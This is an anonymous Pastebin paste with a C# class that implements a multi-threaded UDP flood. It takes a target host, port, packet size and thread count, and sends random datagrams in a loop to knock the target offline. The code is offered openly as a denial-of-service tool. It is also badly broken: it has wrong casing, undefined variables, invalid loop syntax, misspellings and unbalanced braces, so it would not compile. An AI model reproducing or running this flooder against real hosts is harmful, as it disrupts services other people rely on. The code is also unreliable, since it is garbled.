Guest User

Untitled

a guest
Aug 1st, 2017
51
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.52 KB | None | 0 0
  1. using System;
  2. using System.Text;
  3. using System.Net;
  4. using System.Net.Sockets;
  5. using System.Threading;
  6.  
  7. public class udp
  8. {
  9. private string hst;
  10. private int prt;
  11. private int size;
  12. private int sckts;
  13. private int ndout;
  14. public bool currentflooding = false;
  15. private Thread[] floodthreads;
  16. public udp(string hst, int prt,int size, int sockets,int ndout)
  17. {
  18. hst = hst;
  19. prt = prt;
  20. size = size;
  21. ndout = ndout;
  22. sockets = sockets;
  23. }
  24. public void floodstart();
  25. currentflooding = true;
  26. Thread t = new Thread (Rstart);
  27. t.start();
  28. }
  29. private void Rstart()
  30. {
  31. floodthreads = new thread[sockets];
  32. for (int if = 0; i <= sockets - 1; i )
  33. {
  34. floodthreads[i] = new thread(floodvoid);
  35. floodthreads[i].isbackground = true;
  36. floodthreads[i].start();
  37. }
  38. }
  39. public void floodstop()
  40. {
  41. currentflooding = false;
  42. }
  43. public void floodvoid()
  44. {
  45. do
  46. {
  47. try
  48. {
  49. IPEndPoint end = new IPEndPoint(IPAddress.Parse(hst), prt);
  50. Socket sck = new sockets(end.addressFamily, sockettype.Dgram, protocoltype.Udp);
  51. sck.sendto(Encoduing.ASCII.GetBytes(random()), end);
  52. thread.sleep(ndout);
  53. }
  54. catch
  55. }
  56. thread.sleep(ndout);
  57. }
  58. }while (keepflooding == true);
  59. }
  60. private const string chars = "hweuie4fief84thi4rdvni4y84tnifyni34y84ry8f3bf"
  61. private string random()
  62. {
  63. string done = null;
  64. system.random r =new random();
  65. for(int i = 0; i <=size -1; i )
  66. {
  67. done = chars[r.next(0, chars.lenght - 1)];
  68. }
  69. return done;
  70. }
  71. }
Advertisement
Add Comment
Please, Sign In to add comment